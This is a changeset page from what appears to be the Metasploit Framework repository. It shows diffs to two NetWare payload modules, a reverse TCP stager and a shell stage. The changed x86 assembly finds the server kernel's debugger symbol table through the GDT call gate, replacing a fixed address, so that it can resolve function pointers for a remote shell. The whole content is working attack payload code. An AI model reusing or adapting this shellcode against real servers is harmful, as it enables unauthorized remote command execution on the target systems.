Changeset 5449

Show
Ignore:
Timestamp:
03/18/08 10:57:38 (5 months ago)
Author:
hdm
Message:

Update payloads from toto

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/payloads/stagers/netware/reverse_tcp.rb

    r5371 r5449  
    8888 
    8989main_code: 
    90         ; search DebuggerSymbolHashTable pointer 
     90        ; search DebuggerSymbolHashTable pointer using GDT system call gate 
     91        ; -> points inside SERVER.NLM 
    9192        cli 
    92         mov ebp, 0x300000  ; SERVER.NLM code 
    93  
     93        sub esp, 8 
     94        mov ecx, esp 
     95        sgdt [ecx] 
     96 
     97        cli 
     98        mov ebx, [ecx+2] 
     99 
     100        mov bp, word ptr [ebx+0x4E] 
     101        shl ebp, 16 
     102        mov bp, word ptr [ebx+0x48] 
     103         
    94104f_finddebugger: 
    95         cmp dword ptr[ebp], 0x8110eac1 
     105        cmp dword ptr[ebp], 0 
    96106        jnz f_next 
    97         cmp dword ptr[ebp+4], 0x0001ffe2 
     107        cmp dword ptr[ebp+4], 0x808bc201 
    98108        jz f_end 
    99109f_next: 
    100         inc ebp 
     110        dec ebp 
    101111        jmp f_finddebugger 
    102112f_end: 
    103         mov ebp, [ebp+0xc
     113        mov ebp, [ebp-7
    104114 
    105115        ; resolve function pointers 
  • framework3/trunk/modules/payloads/stages/netware/shell.rb

    r5371 r5449  
    9494        stosd 
    9595 
    96         ; search DebuggerSymbolHashTable pointer 
     96        ; search DebuggerSymbolHashTable pointer using GDT system call gate 
     97        ; -> points inside SERVER.NLM 
    9798        cli 
    98         mov ebp, 0x300000  ; SERVER.NLM code 
     99        sub esp, 8 
     100        mov ecx, esp 
     101        sgdt [ecx] 
     102 
     103        cli 
     104        mov ebx, [ecx+2] 
     105        mov bp, word ptr [ebx+0x4E] 
     106        shl ebp, 16 
     107        mov bp, word ptr [ebx+0x48] 
    99108 
    100109f_finddebugger: 
    101         cmp dword ptr[ebp], 0x8110eac1 
     110        cmp dword ptr[ebp], 0 
    102111        jnz f_next 
    103         cmp dword ptr[ebp+4], 0x0001ffe2 
     112        cmp dword ptr[ebp+4], 0x808bc201 
    104113        jz f_end 
    105114f_next: 
    106         inc ebp 
     115        dec ebp 
    107116        jmp f_finddebugger 
    108117f_end: 
    109         mov ebp, [ebp+0xc
     118        mov ebp, [ebp-7
    110119 
    111120        ; resolve function pointers